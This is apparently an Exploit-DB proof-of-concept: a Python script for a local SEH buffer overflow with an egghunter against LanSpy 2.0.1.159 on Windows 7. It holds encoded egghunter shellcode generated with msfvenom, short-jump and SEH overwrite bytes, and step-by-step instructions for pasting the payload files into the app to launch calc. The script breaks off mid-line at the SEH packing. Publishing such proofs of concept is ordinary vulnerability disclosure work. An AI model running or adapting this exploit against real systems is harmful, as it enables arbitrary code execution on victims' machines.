# Exploit Title: LanSpy 2.0.1.159 - Local Buffer Overflow (SEH) (Egghunter) # Exploit Author: bzyo # Date: 12-19-18 # Twitter: @bzyo_ # Vulnerable Software: LanSpy 2.0.1.159 # Vendor Homepage: https://lizardsystems.com # Version: 2.0.1.159 # Software Link 1: https://www.exploit-db.com/apps/70a780b78ee7dbbbbc99852259f75d53-lanspy_setup_2.0.1.159.exe # Software Link 2: https://lizardsystems.com/download/lanspy_setup.exe # Tested Windows 7 SP1 x86 # PoC # 1. run script # 2. copy/paste calcpayload.txt contents into scan section of app # 3. remove previous search contents # 4. copy/paste egghpayload.txt contents into scan section of app # 5. wait for egg to be found # 6. pop calc # was working on this when i saw seh poc published # submitting for the lulz # original dos poc from Gionathan "John" Reale, EDB: 45968 # original seh poc from Juan Prescotto, EDB: 46009 #badchars; 0's 1's and 20; maybe more? #!/usr/bin/python import struct file1="calcpayload.txt" file2="egghpayload.txt" #egghunter payload junk3 = "A"*506 #125 bytes encoded egghunter 'BZYO' #msfvenom -p generic/custom PAYLOADFILE=eggh -e x86/alpha_mixed -f python eggh = "" eggh += "\x89\xe5\xdd\xc2\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a" eggh += "\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37" eggh += "\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41" eggh += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58" eggh += "\x50\x38\x41\x42\x75\x4a\x49\x62\x46\x6e\x61\x6b\x7a" eggh += "\x39\x6f\x34\x4f\x71\x52\x76\x32\x63\x5a\x45\x52\x63" eggh += "\x68\x6a\x6d\x54\x6e\x37\x4c\x54\x45\x31\x4a\x30\x74" eggh += "\x78\x6f\x78\x38\x42\x6f\x50\x59\x43\x6a\x53\x72\x6c" eggh += "\x4b\x68\x7a\x6e\x4f\x31\x65\x4a\x4a\x6e\x4f\x31\x65" eggh += "\x4b\x57\x6b\x4f\x6b\x57\x41\x41" #jump to eggh jmp2 = "\xe9\x30\xff\xff\xff" junk2 = "\xcc"*6 #jump to jmp2 jmp1 = "\xcc\xcc\xeb\xf1\xcc\xcc" junk1 = "\xcc"*16 #jump to jmp1 nseh = "\xeb\xea\xcc\xcc" #0x00458148 : pop ecx # pop ebp # ret 0x04 seh = struct.pack('